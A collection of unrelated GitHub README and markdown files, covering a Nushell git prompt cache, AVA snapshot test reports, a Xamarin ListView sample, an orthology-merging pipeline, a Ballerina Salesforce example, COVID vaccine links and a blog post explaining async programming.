1. Use the command `async-git-prompt-string` in your own `PROMPT_COMMAND` (the file prompt.nu
   contains an example of doing this.)
   At this point, your prompt will be computing the information synchronously, because the cache
   file does not yet exist.

2. In a repo where git is slow, run the command `async-git-prompt-refresh-cache`.
   Now, your prompt will be fast, but it also won't update automatically. You could investigate a good
   way to invalidate the cache automatically, but the manual alternative is:

3. Whenever you think your prompt might be stale, re-run the command `async-git-prompt-refresh-cache`.
   Your prompt will update on one of the next times that you hit <enter>.

4. It will probably be convenient to alias this, e.g.

   ```nu
   alias r = async-git-prompt-refresh-cache
   ```

5. To go back to synchronous mode, run `async-git-prompt-delete-cache`.

### TODO

- Automatic cache invalidation
- Show untracked files (this can be very expensive in large repos)

gha_language: Nushell


text:
# Snapshot report for `test/snapshot-workflow/adding.js`

The actual snapshot is saved in `adding.js.snap`.

Generated by [AVA](https://avajs.dev).

## First run generates a .snap and a .md

> snapshot report

    `# Snapshot report for \`test.js\`␊
    ␊
    The actual snapshot is saved in \`test.js.snap\`.␊
    ␊
    Generated by [AVA](https://avajs.dev).␊
    ␊
    ## foo␊
    ␊
    > Snapshot 1␊
    ␊
        {␊
          foo: 'one',␊
        }␊
    ␊
    ## baz␊
    ␊
    > a message␊
    ␊
        {␊
          baz: 'one',␊
        }␊
    ␊
    > Snapshot 2␊
    ␊
        {␊
          baz: 'two',␊
        }␊
    `

## Adding more snapshots to a test adds them to the .snap and .md

> snapshot report diff

    `  # Snapshot report for \\\`test.js\\\`␊
      ␊
      The actual snapshot is saved in \\\`test.js.snap\\\`.␊
      ␊
      Generated by [AVA](https://avajs.dev).␊
      ␊
      ## foo␊
      ␊
      > Snapshot 1␊
      ␊
          {␊
            foo: 'one',␊
          }␊
    + ␊
    + > Snapshot 2␊
    + ␊
    +     {␊
    +       foo: 'two',␊
    +     }␊
      `

## Adding a test with snapshots adds them to the .snap and .md

> snapshot report diff

    `  # Snapshot report for \\\`test.js\\\`␊
      ␊
      The actual snapshot is saved in \\\`test.js.snap\\\`.␊
      ␊
      Generated by [AVA](https://avajs.dev).␊
      ␊
      ## foo␊
      ␊
      > Snapshot 1␊
      ␊
          {␊
            foo: 'one',␊
          }␊
    + ␊
    + ## bar␊
    + ␊
    + > Snapshot 1␊
    + ␊
    +     {␊
    +       bar: 'one',␊
    +     }␊
      `

## Changing a test's title adds a new block, puts the old block at the end

> snapshot report diff

    `  # Snapshot report for \\\`test.js\\\`␊
      ␊
      The actual snapshot is saved in \\\`test.js.snap\\\`.␊
      ␊
      Generated by [AVA](https://avajs.dev).␊
      ␊
    - ## a title␊
    - ␊
    - > Snapshot 1␊
    - ␊
    -     {␊
    -       foo: 'one',␊
    + ## a new title␊
    + ␊
    + > Snapshot 1␊
    + ␊
    +     {␊
    +       foo: 'one',␊
    +     }␊
    + ␊
    + ## a title␊
    + ␊
    + > Snapshot 1␊
    + ␊
    +     {␊
    +       foo: 'one',␊
          }␊
      `

## Adding skipped snapshots followed by unskipped snapshots records blanks

> snapshot report diff

    `  # Snapshot report for \\\`test.js\\\`␊
      ␊
      The actual snapshot is saved in \\\`test.js.snap\\\`.␊
      ␊
      Generated by [AVA](https://avajs.dev).␊
      ␊
      ## foo␊
      ␊
      > Snapshot 1␊
      ␊
          {␊
            foo: 'one',␊
          }␊
    + ␊
    + > Snapshot 2␊
    + ␊
    +     <No Data>␊
    + ␊
    + > Snapshot 3␊
    + ␊
    +     {␊
    +       foo: 'three',␊
    +     }␊
      `

## Filling in blanks doesn't require --update-snapshots

> snapshot report diff

    `  # Snapshot report for \\\`test.js\\\`␊
      ␊
      The actual snapshot is saved in \\\`test.js.snap\\\`.␊
      ␊
      Generated by [AVA](https://avajs.dev).␊
      ␊
      ## foo␊
      ␊
      > Snapshot 1␊
      ␊
          {␊
            foo: 'one',␊
          }␊
      ␊
      > Snapshot 2␊
      ␊
    -     <No Data>␊
    - ␊
    - > Snapshot 3␊
    +     {␊
    +       foo: 'two',␊
    +     }␊
      ␊
    + > Snapshot 3␊
    + ␊
          {␊
            foo: 'three',␊
          }␊
      `

repository: avajs/ava

repo_name: avajs/ava


text:
Working with ListView Native Layouts
==============

**WARNING: this sample built with the beta [unified api](http://developer.xamarin.com/guides/cross-platform/macios/unified/)**

The Xamarin.Forms layout engine is very powerful, enabling developers to express their screens in a way that can be rendered across all supported platforms.

Very complex layouts can take time to compute, on Xamarin.Forms or even on native platforms. This is exacerbated in a scrolling view like the `ListView` where the layouts need to be recalculated as you scroll.

Many Xamarin.Forms apps won't ever encounter issues with scrolling, but if you do one optimization you can try is using a custom renderer to build native cell layouts.

This example has four different screens:

* The first two demonstrate the absolute simplest case of a ListView built with Xamarin.Forms versus one demonstrating the custom render concept.

* The third screen uses a custom renderer for the CELL (UITableViewCell) only. This removes the Xamarin.Forms layout calculations from being repeatedly called during scrolling.

* The fourth screens uses a custom renderer for the LIST AND CELL (UITableView, Android ListView) with native platform built-in cells - they're ugly (my design skills are lacking) but demonstrate how you can build your cells in the platform projects. This is additional work, and typically only makes sense if you are porting an existing native app where you want to re-use both your LIST AND CELL native code.

The custom renderer native cells are shown in this screenshot:

![screenshot](https://raw.githubusercontent.com/xamarin/xamarin-forms-samples/master/WorkingWithListviewNative/Screenshots/all-sml.png "Performance")

*(Xaml examples still-to-come)*

Author
------

Craig Dunn

repository: mrwcjoughin/xamarin-forms-samples

repo_name: mrwcjoughin/xamarin-forms-samples


text:
# _HeliumCREW_
HeliumCREW is a new place to find the best nodes to STAKE your HNT. IF you want to STAKE HNT , how do you know which validator team is reputable and reliable. HeliumCREW is a place that will list off the available Validator nodes and there activity level within the Helium Commuity!

We will be providing a ranking system based off the activity level on social media profiles. If you are a Helium Power User, you can use this d-link page to help guide your Helium journey!

Let us continue to deploy and build the IoT network of the Future!

# _http://pdsolutions.heliumcrew.hns.to/_

Use the link below to Helium Equipment products.

# _http://cryptechology.hns.to/_


text:
# OrthoMerge
Python 3 pipeline to compare and merge orthology inference results of OrthoMCL, OrthoFinder and OrthoInspector

## OrthologyMerge.py

Requirements:
- [BioPython](https://biopython.org/)

Use:
`python3 OrthologyMerge.py -p <phylum> --orthomcl <OrthoMCL_groups> --orthofinder <OrthoFinder_groups> --orthoinspector <OrthoInspector_groups> -fd <FASTA_directory>`

Input:
- orthologous groups output from OrthoMCL, OrthoFinder and OrthoInspector (all in OrthoMCL output format)
- phyla definitions in phyla.txt file in the following format:
`  <phylum>:<species1>,<species2>[...]`
` <superphylum>:<phylum>|<phylum>`
- phylum of interest (must be defined in phyla.txt)

Output:
- log file containing numbers of groups inferred congruently between methods (default name: OrthologousGroups_identical+split.log)
- directory containing merged results of all orthology inference methods (default name: OrthologousGroups_identical+split)

## OG_monophyly_test.py

Requirements:
- [BioPython](https://biopython.org/)
- [BLAST+](https://blast.ncbi.nlm.nih.gov/Blast.cgi?CMD=Web&PAGE_TYPE=BlastDocs&DOC_TYPE=Download)
- [Clustal Omega](http://www.clustal.org/omega/)
- [RAxML-NG](https://github.com/amkozlov/raxml-ng)
- [DendroPy](https://dendropy.org/)

Use:
`python3 OG_monophyly_test.py -od <OrthoGroups_directory> -db <sequence_database>`

Input:
- directory containing orthogroups inferred as congruently inferred by `OrthologyMerge.py`
- database containing non-clade sequences to search for potential homologous sequences outside clade of interest
- *optional*: e-value for BLAST search (`-e <e-value>`, default: 10)

Output:
- text file containing the results of the monophyly test (default name: OrthologousGroups_monophyly.txt)
- directory containing BLAST results for each orthogroup
- directory containing all orthogroups without BLAST hits
- directory containing all orthogroups with BLAST hits including found hits and reconstructed gene trees

## OG_rBBH_test.py

Requirements:
- [BioPython](https://biopython.org/)
- [BLAST+](https://blast.ncbi.nlm.nih.gov/Blast.cgi?CMD=Web&PAGE_TYPE=BlastDocs&DOC_TYPE=Download)
- [DendroPy](https://dendropy.org/)

Use:
`python3 OG_rBBH_test.py -od <OrthoGroups_directory> -hd <BLAST_hits_directory> -m <Monophyly_test_results> -dbd <sequence_database_directory>`

Input:
- directory containing orthogroups inferred as congruently inferred by `OrthologyMerge.py`
- directory containing all orthogroups with BLAST hits including found hits and reconstructed gene trees
- text file containing the results of the monophyly test
- directory containing BLAST databases for each individual species present in orthogroups

Output:
- text file containing the results of the rBBH test (default name: OrthologousGroups_rBBH.txt)
- directory containing BLAST results for each orthogroup (default name: OrthologousGroups_rBBHits)

repository: TelfordLab/OrthoMerge

repo_name: TelfordLab/OrthoMerge


text:
# Age of Empires 2 HD (AoE2HD) scenarios
A naming convention for the scenarios would be nice. I used some convention that made sense to me most of the time.

* Where to put the files:

```batch
<where ever your SteamLibrary-steamapps-common folder is>\Age2HD\resources\_common\scenario\
```


text:
# Salesforce Bulk Processing

## Overview

This example demonstrates the usage of I/O CSV streaming APIs directly with the Ballerina Salesforce connector APIs.

## Implementation

To run this example, you have to first create a Salesforce account and get an authentication token to connect to it. For more information about creating a Salesforce authentication token, refer to [this documentation](https://developer.salesforce.com/docs/atlas.en-us.api_rest.meta/api_rest/quickstart_oauth.htm).

Before running the example, you have to set the following Ballerina configurable variables in the `Config.toml` file.
```toml
BASE_URL="<SALESFORCE_BASE_URL>"
SF_TOKEN="<SALESFORCE_AUTH_TOKEN>"
```

This example first reads the given CSV contact details using I/O streaming APIs as follows.

```ballerina
stream<string[], io:Error?> csvStream = check io:fileReadCsvAsStream(csvContactsFilePath);
```

Then, pass these contact details stream to the Salesforce bulk API to create a new set of contacts in Salesforce.

```ballerina
sbulk:BulkJob queryJob = check baseClient->createJob("insert", "Contact", "CSV");
sbulk:BatchInfo batch = check baseClient->addBatch(queryJob, csvStream);
```

Refer to [this documentation](https://central.ballerina.io/ballerinax/salesforce) to learn more about the Ballerina Salesforce APIs.

## Run the Example

First, clone this repository, and then run the following commands to run the example on your local machine.

```sh
$ cd examples/salesforce
$ bal run
```

url: https://raw.githubusercontent.com/ballerina-platform/module-ballerina-io/775a431cb29d3a8151878134f18c370f101f8bad/examples/salesforce/A Guildeline on Salesforce Bulk Processing.md

repository: ballerina-platform/module-ballerina-io

gha_language: Ballerina

repo_name: ballerina-platform/module-ballerina-io


text:
---
title: Registering for Covid Vaccine
date: "2020-05-01T23:46:37.121Z"
description: Information on COVID-19vaccine registration and who is eligible to get the vaccines
---

* [Vaccines.gov](https://www.vaccines.gov/search/) provides locations on where to get vaccinated based on your location and distance you are willing to travel

* [Providence](https://www.providence.org/news/uf/646798567) goes over how to determine whether or not you are eligible for getting the COVID-19 vaccines

repository: jamesespericueta/covid-proj-bio

repo_name: jamesespericueta/covid-proj-bio


text:
---
layout: post
title: Async, yeah I know that.
permaLink: /2020-5-31-async/
---
Younger Josh, in life there will be many times you sublimely join in on trends without actually knowing what they mean. Think KONY 2012 or guacamole, after a while you will fake understanding long enough until people start to think you know what you are doing.

We both know better.

[]({{ site.baseurl }}/)

This will not be an issue in only your personal bubble. One day as your code expands you will start to see a new word suggested by intelisense as you type. Sometimes you will use it, sometimes you won’t. Async shall spread throughout your codebase, sometimes awaited and sometimes not.

With the power of perspective I implore you to avoid ignorance, younger Josh. It isn’t actually that complicated.

What is it? (Stolen)

“With asynchronous programming, you can divide your logic into awaitable tasks, where you can perform some long running operations such as reading large file, doing an API call, downloading a resource from web or performing a complex calculation without having to block the execution of your application on UI or service.”

What is it? (In a way younger Josh will understand)

Imagine you are in a kitchen, Josh. Someone has trusted you with making a bacon and sausage sandwich. In a simple scenario it is only a few steps:

Butter bread, cook bacon, cook sausage, add ketchup.

Nice and easy. You can do this. If you do the steps in order it can be done in about 8 minutes with only a 25% chance of food poisoning.

In a one off case this is not too much of an issue. But if I ask you to do this 100 times suddenly the one step after another could be a bit of a blocker.

But if you approach the sandwich asynchronously there is no reason once you have buttered the bread you can’t proceed with the following two tasks at the same time. This would mean I don’t need to wait to cook my sausage after my bacon and probably don’t have a sandwich of multiple heat levels.

Of course I cannot put ketchup on my food until I have the meat prepared so I need to know to expect the bacon and sausage before I carry on.

Sandwich is prepared faster but the key dependencies remain fulfilled.

Rambles

Silly example for a useful concept although it should not be considered a solution for all problems. Async calls are perfect for a situation you are writing to a location frequently but can be problematic when experiencing a high level of demand for reads.

Because you are trusting others places to complete tasks at their own pace you can encounter a scenario where your data point has eventual consistency (a phrase younger Josh should not concern himself with as it still hurts older him).

Conclusion

In the years to come you will fall into async programming like you fell into avocado on toast and gin and tonic.

It is a simple concept but it is not a solution for all problems. Like everything you should look for context of what issue you are trying to solve before blinding writing a fix and praying the pull request is approved.

Forgotten awaits will break dozens of your tests and the .Result you add on occasion shall make peers groan but eventually it will all make a lot more sense.

Source for the actual smart definiton: https://www.codingame.com/playgrounds/4240/your-ultimate-async-await-tutorial-in-c/introduction